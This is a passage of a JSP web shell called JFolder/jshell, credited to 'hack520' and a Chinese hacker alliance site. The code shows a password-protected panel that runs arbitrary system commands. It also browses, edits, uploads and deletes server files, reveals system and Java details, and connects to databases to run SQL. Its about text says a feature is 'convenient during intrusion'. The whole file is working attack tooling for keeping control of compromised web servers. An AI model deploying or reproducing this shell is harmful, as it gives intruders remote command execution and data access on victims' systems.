.td2 {BORDER-RIGHT:#ffffff 0px solid;BORDER-TOP:#ffffff 1px solid;BORDER-LEFT:#ffffff 1px solid;BORDER-BOTTOM:#ffffff 0px solid;BACKGROUND-COLOR:lightgrey; height:18px;}
.tr1 {BACKGROUND-color:gray }
</style>
<script language="JavaScript">
<!--
function ltrim(str) {
  while (str.indexOf(0) == " ")
    str = str.substring(1);
    
  return str;
}

function changeAction(obj) {
  obj.submit();
}
//-->
</script>
<body>
<%
session.setMaxInactiveInterval(_sessionOutTime * 60);

if (request.getParameter("password") == null && session.getAttribute("password") == null) {
// show the login form
//================================================================================================
%>
<div align="center" style="position:absolute;width:100%;visibility:show; z-index:0;left:14px;top:200px">
  <TABLE class="table1" cellSpacing="1" cellPadding="1" width="473" border="0" align="center">
    <tr>
      <td class="tr1">
        <TABLE cellSpacing="0" cellPadding="0" width="468" border="0">
          <tr>
            <TD align="left"><FONT face="webdings" color="#ffffff">&nbsp;8</FONT><FONT face="Verdana, Arial, Helvetica, sans-serif" color="#ffffff"><b>管理登录 :::...</b></font></TD>
            <TD align="right"><FONT color="#d2d8ec"><b>JFolder</b>_By_<b>hack520</b></FONT></TD>
          </tr>
            <form name="f1" method="post">
            <input type="hidden" name="__EVENTTARGET" value="" />
            <input type="hidden" name="__EVENTARGUMENT" value="" />
            <input type="hidden" name="__VIEWSTATE" value="dDwtMTQyNDQzOTM1NDt0PDtsPGk8OT47PjtsPHQ8cDxsPGVuY3R5cGU7PjtsPG11bHRpcGFydC9mb3JtLWRhdGE7Pj47bDxpPDE5Pjs+O2w8dDxAMDw7Ozs7Ozs7Ozs7Pjs7Pjs+Pjs+PjtsPE5ld0ZpbGU7TmV3RmlsZTtOZXdEaXJlY3Rvcnk7TmV3RGlyZWN0b3J5O0RCX3JCX01TU1FMO0RCX3JCX01TU1FMO0RCX3JCX0FjY2VzcztEQl9yQl9BY2Nlc3M7Pj7Z5iNIVOaWZWuK0pv8lCMSbhytgQ==" />
            <script language="javascript" type="text/javascript">
<!--
  function __doPostBack(eventTarget, eventArgument) {
    var theform;
    if (window.navigator.appName.toLowerCase().indexOf("microsoft") > -1) {
      theform = document.Form1;
    }
    else {
      theform = document.forms["Form1"];
    }
    theform.__EVENTTARGET.value = eventTarget.split("$").join(":");
    theform.__EVENTARGUMENT.value = eventArgument;
    theform.submit();
  }
// -->
</script>
            <tr>
              <td height="30" align="center" class="td2" colspan="2">
                <input name="password" type="password" class="textbox" id="Textbox" />
                <input type="submit" name="Button" value="Login" id="Button" title="Click here to login" class="button" />
              </td>
            </tr>
          </form>
          <SCRIPT type='text/javascript' language='javascript' src='http://xslt.alexa.com/site_stats/js/t/c?url='></SCRIPT>
      </TABLE></td>
    </tr>
  </TABLE>
</div>
<%
//================================================================================================
// end of the login form
} else {
  String password = null;
  
  if (session.getAttribute("password") == null) {
    password = (String)request.getParameter("password");
    
    if (validate(password) == false) {
      out.println("<div align=\"center\"><font color=\"red\"><li>哎呀，倒霉死啦!</font></div>");
      out.close();
      return;
    }
    
    session.setAttribute("password", password);
  } else {
    password = (String)session.getAttribute("password");
  }
  
  String action = null;
  

  if (request.getParameter("action") == null)
    action = "main";
  else 
    action = (String)request.getParameter("action");
    
  if (action.equals("exit")) {
    session.removeAttribute("password");
    response.sendRedirect(request.getRequestURI());
    out.close();
    return;
  }

// show the main menu
//====================================================================================
%>
<table align="center" width="600" border="0" cellpadding="2" cellspacing="0">
  <form name="form1" method="get">
  <tr bgcolor="#CCCCCC">
    <td id="title"><!--[程序首页]--></td>
    <td align="right">
      <select name="action" onChange="javascript:changeAction(document.form1)">
        <option value="main">程序首页</option>
        <option value="filesystem">文件系统</option>
        <option value="command">系统命令</option>
        <option value="database">数据库</option>
        <option value="config">程序配置</option>
        <option value="about">关于程序</option>
        <option value="exit">退出程序</option>
      </select>
<script language="JavaScript">
<%
  out.println("var action = \"" + action + "\"");
%>
var sAction = document.form1.action;
for (var i = 0; i < sAction.length; i ++) {
  if (sAction[i].value == action) {
    sAction[i].selected = true;
    //title.innerHTML = "[" + sAction[i].innerHTML + "]";
  }
}
</script>
    </td>
  </tr>
  </form>
</table>
<%
//=====================================================================================
// end of main menu

  if (action.equals("main")) {
// print the system info table
//=======================================================================================
%>
<table align="center" width="600" cellpadding="2" cellspacing="1" border="0" bgcolor="#CCCCCC">
  <tr bgcolor="#FFFFFF">
    <td colspan="2" align="center">服务器信息</td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td width="300" align="center" class="datarows">服务器名</td>
    <td align="center" class="datarows"><%=request.getServerName()%></td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td width="300" align="center" class="datarows">服务器端口</td>
    <td align="center" class="datarows"><%=request.getServerPort()%></td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td width="300" align="center" class="datarows">操作系统</td>
    <td align="center" class="datarows"><%=System.getProperty("os.name") + " " + System.getProperty("os.version") + " " + System.getProperty("os.arch")%></td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td width="300" align="center" class="datarows">当前用户名</td>
    <td align="center" class="datarows"><%=System.getProperty("user.name")%></td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td width="300" align="center" class="datarows">当前用户目录</td>
    <td align="center" class="datarows"><%=System.getProperty("user.home")%></td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td width="300" align="center" class="datarows">当前用户工作目录</td>
    <td align="center" class="datarows"><%=System.getProperty("user.dir")%></td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td width="300" align="center" class="datarows">程序相对路径</td>
    <td align="center" class="datarows"><%=request.getRequestURI()%></td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td width="300" align="center" class="datarows">程序绝对路径</td>
    <td align="center" class="datarows"><%=request.getRealPath(request.getServletPath())%></td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td width="300" align="center" class="datarows">网络协议</td>
    <td align="center" class="datarows"><%=request.getProtocol()%></td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td width="300" align="center" class="datarows">服务器软件版本信息</td>
    <td align="center" class="datarows"><%=application.getServerInfo()%></td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td width="300" align="center" class="datarows">JDK版本</td>
    <td align="center" class="datarows"><%=System.getProperty("java.version")%></td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td width="300" align="center" class="datarows">JDK安装路径</td>
    <td align="center" class="datarows"><%=System.getProperty("java.home")%></td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td width="300" align="center" class="datarows">JAVA虚拟机版本</td>
    <td align="center" class="datarows"><%=System.getProperty("java.vm.specification.version")%></td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td width="300" align="center" class="datarows">JAVA虚拟机名</td>
    <td align="center" class="datarows"><%=System.getProperty("java.vm.name")%></td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td width="300" align="center" class="datarows">JAVA类路径</td>
    <td align="center" class="datarows"><%=System.getProperty("java.class.path")%></td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td width="300" align="center" class="datarows">JAVA载入库搜索路径</td>
    <td align="center" class="datarows"><%=System.getProperty("java.library.path")%></td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td width="300" align="center" class="datarows">JAVA临时目录</td>
    <td align="center" class="datarows"><%=System.getProperty("java.io.tmpdir")%></td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td width="300" align="center" class="datarows">JIT编译器名</td>
    <td align="center" class="datarows"><%=System.getProperty("java.compiler") == null ? "" : System.getProperty("java.compiler")%></td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td width="300" align="center" class="datarows">扩展目录路径</td>
    <td align="center" class="datarows"><%=System.getProperty("java.ext.dirs")%></td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td colspan="2" align="center">客户端信息</td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td width="300" align="center" class="datarows">客户机地址</td>
    <td align="center" class="datarows"><%=request.getRemoteAddr()%></td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td width="300" align="center" class="datarows">服务机器名</td>
    <td align="center" class="datarows"><%=request.getRemoteHost()%></td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td width="300" align="center" class="datarows">用户名</td>
    <td align="center" class="datarows"><%=request.getRemoteUser() == null ? "" : request.getRemoteUser()%></td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td width="300" align="center" class="datarows">请求方式</td>
    <td align="center" class="datarows"><%=request.getScheme()%></td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td width="300" align="center" class="datarows">应用安全套接字层</td>
    <td align="center" class="datarows"><%=request.isSecure() == true ? "是" : "否"%></td>
  </tr>
</table>
<%
//=======================================================================================
// end of printing the system info table
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  } else if (action.equals("filesystem")) {
    String curPath = "";
    String result = "";
    String fsAction = "";
    
    if (request.getParameter("curPath") == null) {
      curPath = request.getRealPath(request.getServletPath());
      curPath = pathConvert((new File(curPath)).getParent());
    } else {
      curPath = Unicode2GB((String)request.getParameter("curPath"));
    }
    
    if (request.getParameter("fsAction") == null) {
      fsAction = "list";
    } else {
      fsAction = (String)request.getParameter("fsAction");
    }
    
    if (fsAction.equals("list"))
      result = listFiles(curPath, request.getRequestURI() + "?action=" + action);
    else if (fsAction.equals("browse")) {
      result = listFiles(new File(curPath).getParent(), request.getRequestURI() + "?action=" + action);
      result += browseFile(curPath);
    }
    else if (fsAction.equals("open"))
      result = openFile(curPath, request.getRequestURI() + "?action=" + action);
    else if (fsAction.equals("save")) {
      if (request.getParameter("fileContent") == null) {
        result = "<font color=\"red\">页面导航错误</font>";
      } else {
        String fileContent = Unicode2GB((String)request.getParameter("fileContent"));
        result = saveFile(curPath, request.getRequestURI() + "?action=" + action, fileContent);
      }
    } else if (fsAction.equals("createFolder")) {
      if (request.getParameter("folderName") == null) {
        result = "<font color=\"red\">目录名不能为空</font>";
      } else {
        String folderName = Unicode2GB(request.getParameter("folderName").trim());
        if (folderName.equals("")) {
          result = "<font color=\"red\">目录名不能为空</font>"; 
        } else {
          result = createFolder(curPath, request.getRequestURI() + "?action=" + action, folderName);
        }
      }
    } else if (fsAction.equals("createFile")) {
      if (request.getParameter("fileName") == null) {
        result = "<font color=\"red\">文件名不能为空</font>";
      } else {
        String fileName = Unicode2GB(request.getParameter("fileName").trim());
        if (fileName.equals("")) {
          result = "<font color=\"red\">文件名不能为空</font>";
        } else {
          result = createFile(curPath, request.getRequestURI() + "?action=" + action, fileName);
        }
      }
    } else if (fsAction.equals("deleteFile")) {
      if (request.getParameter("filesDelete") == null) {
        result = "<font color=\"red\">没有选择要删除的文件</font>";
      } else {
        String[] files2Delete = (String[])request.getParameterValues("filesDelete");
        if (files2Delete.length == 0) {
          result = "<font color=\"red\">没有选择要删除的文件</font>";
        } else {
          for (int n = 0; n < files2Delete.length; n ++) {
            files2Delete[n] = Unicode2GB(files2Delete[n]);
          }
          result = deleteFile(curPath, request.getRequestURI() + "?action=" + action, files2Delete);
        }
      }
    } else if (fsAction.equals("saveAs")) {
      if (request.getParameter("fileContent") == null) {
        result = "<font color=\"red\">页面导航错误</font>";
      } else {
        String fileContent = Unicode2GB(request.getParameter("fileContent"));
        result = saveAs(curPath, request.getRequestURI() + "?action=" + action, fileContent);
      }
    } else if (fsAction.equals("upload")) {
      result = uploadFile(request, curPath, request.getRequestURI() + "?action=" + action);
    } else if (fsAction.equals("copyto")) {
      if (request.getParameter("filesDelete") == null || request.getParameter("dstPath") == null) {
        result = "<font color=\"red\">没有选择要复制的文件</font>";
      } else {
        String[] files2Copy = request.getParameterValues("filesDelete");
        String dstPath = request.getParameter("dstPath").trim();
        if (files2Copy.length == 0) {
          result = "<font color=\"red\">没有选择要复制的文件</font>";
        } else if (dstPath.equals("")) {
          result = "<font color=\"red\">没有填写要复制到的目录路径</font>";
        } else {
          for (int i = 0; i < files2Copy.length; i ++)
            files2Copy[i] = Unicode2GB(files2Copy[i]);
          
          result = copyFiles(curPath, request.getRequestURI() + "?action=" + action, files2Copy, Unicode2GB(dstPath));
        }
      }
    } else if (fsAction.equals("rename")) {
      if (request.getParameter("fileRename") == null) {
        result = "<font color=\"red\">页面导航错误</font>";
      } else {
        String file2Rename = request.getParameter("fileRename").trim();
        String newName = request.getParameter("newName").trim();
        if (file2Rename.equals("")) {
          result = "<font color=\"red\">没有选择要重命名的文件</font>";
        } else if (newName.equals("")) {
          result = "<font color=\"red\">没有填写新文件名</font>";
        } else {
          result = renameFile(curPath, request.getRequestURI() + "?action=" + action, Unicode2GB(file2Rename), Unicode2GB(newName));
        }     
      }
    }
%>
<table align="center" width="600" border="0" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC">
  <form method="post" name="form2" action="<%= request.getRequestURI() + "?action=" + action%>">
  <tr bgcolor="#FFFFFF">
    <td align="center">地址&nbsp;&nbsp;<input type="text" size="80" name="curPath" class="textbox" value="<%=curPath%>" />
                       <input type="submit" value="转到" class="button" /></td>
  </tr>
  </form>
  <tr bgcolor="#FFFFFF">
    <td><%= result.trim().equals("")?"&nbsp;" : result%></td>
  </tr>
</table>
<%    
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  } else if (action.equals("command")) {
    String cmd = "";
    InputStream ins = null;
    String result = "";
    
    if (request.getParameter("command") != null) {    
      cmd = (String)request.getParameter("command");
      result = exeCmd(cmd);
    }
// print the command form
//========================================================================================
%>
<table border="0" width="600" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC" align="center">
  <form name="form2" method="post" action="<%=request.getRequestURI() + "?action=" + action%>">
  <tr bgcolor="#FFFFFF">
    <td align="center">执行命令</td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td align="center">
      <input type="text" class="textbox" size="80" name="command" value="<%=cmd%>" />
      <input type="submit" class="button" value="执行" />
    </td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td align="center">执行结果</td>
  </tr>
  </form>
</table>
<table align="center" width="600" border="0">
  <tr>
    <td><%=result == "" ? "&nbsp;" : result%></td>
  </tr>
</table>
<%
//=========================================================================================
// end of printing command form
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  } else if (action.equals("database")) {
    String dbAction = "";
    String result = "";
    String dbType = "";
    String dbServer = "";
    String dbPort = "";
    String dbUsername = "";
    String dbPassword = "";
    String dbName = "";
    String dbResult = "";
    String sql = "";
    
    if (request.getParameter("dbAction") == null) {
      dbAction = "main";
    } else {
      dbAction = request.getParameter("dbAction").trim();
      if (dbAction.equals(""))
        dbAction = "main";
    }
    
    if (dbAction.equals("main")) {
      result = "&nbsp;";
    } else if (dbAction.equals("dbConnect")) {
      if (request.getParameter("dbType") == null ||
        request.getParameter("dbServer") == null ||
        request.getParameter("dbPort") == null ||
        request.getParameter("dbUsername") == null ||
        request.getParameter("dbPassword") == null ||
        request.getParameter("dbName") == null) {
        response.sendRedirect(request.getRequestURI() + "?action=" + action);
      } else {
        dbType = request.getParameter("dbType").trim();
        dbServer = request.getParameter("dbServer").trim();
        dbPort = request.getParameter("dbPort").trim();
        dbUsername = request.getParameter("dbUsername").trim();
        dbPassword = request.getParameter("dbPassword").trim();
        dbName = request.getParameter("dbName").trim();
        
        if (DBInit(dbType, dbServer, dbPort, dbUsername, dbPassword, dbName)) {
          if (DBConnect(dbUsername, dbPassword)) {
            if (request.getParameter("sql") != null) {
              sql = request.getParameter("sql").trim();
              if (! sql.equals("")) {
                dbResult = DBExecute(sql);
              }
            }
            
            result =  "<script language=\"javascript\">\n";
            result += "<!--\n";
            result += "function exeSql() {\n";
            result += "    if (ltrim(document.dbInfo.sql.value) != \"\")\n";
            result += "        document.dbInfo.submit();";
            result += "}\n";
            result += "\n";
            result += "function resetIt() {\n";
            result += "    document.dbInfo.sql.value = \"\";";
            result += "}\n";
            result += "//-->\n";
            result += "</script>\n";
            result += "sql语句<br/><textarea name=\"sql\" cols=\"70\" rows=\"6\">" + sql + "</textarea><br/><input type=\"submit\" class=\"button\" onclick=\"javascript:exeSql()\" value=\"执行\"/>&nbsp;<input type=\"reset\" class=\"button\" onclick=\"javascript:resetIt()\" value=\"清空\"/>\n";
            
            DBRelease();
          } else {
            result = "<font color=\"red\">数据库连接失败</font>";
          }
        } else {
          result = "<font color=\"red\">数据库连接驱动没有找到</font>";
        }       
      }
    }
%>
<script language="javascript">
<!--
<%
out.println("var selectedType = \"" + dbType + "\";");
%>
//-->
</script>
<table align="center" width="600" border="0" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC">
  <form name="dbInfo" method="post" action="<%=request.getRequestURI() + "?action=" + action + "&dbAction=dbConnect"%>">
  <tr bgcolor="#FFFFFF">
    <td width="300" align="center">数据库连接类型</td>
    <td align="center">
      <select name="dbType">
        <option value="sqlserver">SQLServer数据库</option>
        <option value="mysql">MySql数据库</option>
        <option value="oracle">Oracle数据库</option>
        <option value="db2">DB2数据库</option>
        <option value="odbc">ODBC数据源</option>
      </select>
      <script language="javascript">
      for (var i = 0; i < document.dbInfo.dbType.options.length; i ++) {
        if (document.dbInfo.dbType.options[i].value == selectedType) {
          document.dbInfo.dbType.options[i].selected = true;
        }
      }
      </script>
    </td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td align="center">数据库服务器地址</td>
    <td align="center"><input type="text" name="dbServer" class="textbox" value="<%=dbServer%>" style="width:150px;" /></td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td align="center">数据库服务器端口</td>
    <td align="center"><input type="text" name="dbPort" class="textbox" value="<%=dbPort%>" style="width:150px;" /></td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td align="center">数据库用户名</td>
    <td align="center"><input type="text" name="dbUsername" class="textbox" value="<%=dbUsername%>" size="20" style="width:150px;" /></td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td align="center">数据库密码</td>
    <td align="center"><input type="password" name="dbPassword" class="textbox" value="<%=dbPassword%>" size="20" style="width:150px;" /></td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td align="center">数据库名</td>
    <td align="center"><input type="text" name="dbName" class="textbox" value="<%=dbName%>" size="20" style="width:150px;" /></td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td align="center" colspan="2"><input type="submit" value="连接" class="button" />&nbsp;<input type="reset" value="重置" class="button" /></td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td align="center" colspan="2"><%=result%></td>
  </tr>
  </form>
</table>
<table align="center" width="100%" border="0">
  <tr>
    <td align="center">
      <%=dbResult%>
    </td>
  </tr>
</table>
<%    

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////    
  } else if (action.equals("config")) {
    String cfAction = "";
    int i;
    
    if (request.getParameter("cfAction") == null) {

      cfAction = "main";
    } else {
      cfAction = request.getParameter("cfAction").trim();
      if (cfAction.equals(""))
        cfAction = "main";
    }
    
    if (cfAction.equals("main")) {
// start of config form
//==========================================================================================
%>
<script language="javascript">
<!--
function delFileType() {
  document.config.newType.value = document.config.textFileTypes[document.config.textFileTypes.selectedIndex].value;
  document.config.textFileTypes.options.remove(document.config.textFileTypes.selectedIndex);
}

function addFileType() {
  if (document.config.newType.value != "") {
    var oOption = document.createElement("OPTION");
    document.config.textFileTypes.options.add(oOption);
    oOption.value = document.config.newType.value;
    oOption.innerHTML = document.config.newType.value;
  }
}

function selectAllTypes() {
  for (var i = 0; i < document.config.textFileTypes.options.length; i ++) {
    document.config.textFileTypes.options[i].selected = true;
  }
}
//-->
</script>
<table align="center" width="600" border="0" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC">
  <form name="config" method="post" action="<%=request.getRequestURI() + "?action=config&cfAction=save"%>" onSubmit="javascript:selectAllTypes()">
  <tr bgcolor="#FFFFFF">
    <td align="center" width="200">密码</td>
    <td><input type="text" size="30" name="password" class="textbox" value="<%=_password%>" /></td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td align="center">系统编码</td>
    <td><input type="text" size="30" name="encode" value="<%=_encodeType%>" class="textbox" /></td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td align="center">Session超时时间</td>
    <td><input type="text" size="5" name="sessionTime" class="textbox" value="<%=_sessionOutTime%>" /></td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td align="center">可编辑文件类型</td>
    <td>
      <table border="0" width="190" cellpadding="0" cellspacing="0">
        <tr>
          <td>
            <input type="text" size="11" class="textbox" name="newType" />
          </td>
          <td align="center">
            <input type="button" onClick="javascript:delFileType()" value="<<" class="button" />
            <p></p>
            <input type="button" value=">>" onClick="javascript:addFileType()" class="button" />
          </td>
          <td align="right">  
            <select name="textFileTypes" size="4" style="width: 87px" multiple="true">  
<%
    for (i = 0; i < _textFileTypes.length; i ++) {
%>
              <option value="<%=_textFileTypes[i]%>"><%=_textFileTypes[i]%></option>
<%
    }
%>
            </select>
          </td>
        </tr>
      </table>
    </td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td align="center" colspan="2"><input type="submit" value="保存" class="button" /></td>
  </tr>
  </form>
</table>
<%
    } else if (cfAction.equals("save")) {
      if (request.getParameter("password") == null || 
        request.getParameter("encode") == null || 
        request.getParameter("sessionTime") == null ||
        request.getParameterValues("textFileTypes") == null) {
        response.sendRedirect(request.getRequestURI());
      }
      
      String result = "";
      
      String newPassword = request.getParameter("password").trim();
      String newEncodeType = request.getParameter("encode").trim();
      String newSessionTime = request.getParameter("sessionTime").trim();
      String[] newTextFileTypes = request.getParameterValues("textFileTypes");
      String jshellPath = request.getRealPath(request.getServletPath());
      
      try {
        JshellConfig jconfig = new JshellConfig(jshellPath);
        jconfig.setPassword(newPassword);
        jconfig.setEncodeType(newEncodeType);
        jconfig.setSessionTime(newSessionTime);
        jconfig.setTextFileTypes(newTextFileTypes);
        jconfig.save();
        result += "设置保存成功，正在返回，请稍候……";
        result += "<meta http-equiv=\"refresh\" content=\"2;url=" + request.getRequestURI() + "?action=" + request.getParameter("action") + "\">";
      } catch (JshellConfigException e) {
        result = "<font color=\"red\">" + e.getMessage() + "</font>"; 
      }

%>
<table align="center" width="600" border="0" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC">
  <tr bgcolor="#FFFFFF">
    <td><%=result == "" ? "&nbsp;" : result%></td>
  </tr>
</table>
<%
    }
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//==========================================================================================
// end of config form
  } else if (action.equals("about")) {
// start of about
//==========================================================================================
%>
<table border="0" align="center" width="600" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC">
  <tr bgcolor="#FFFFFF">
    <td align="center">关于 jshell ver 0.1</td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td>&nbsp;&nbsp;&nbsp;&nbsp;增加了显示alxea排名的功能，这对于入侵中也比较方便些，版权还是归作者的.</td>
  </tr>
  <tr bgcolor="#FFFFFF">
    <td align="right">hack520 by <a href="mailto:hack520@77169.org">hack520</a> and welcome to <a href="http://www.77169.com" target="_blank">华夏黑客同盟</a></td>
  </tr>
</table>
<%  
//==========================================================================================
  }
}
%>
</body>
</html>
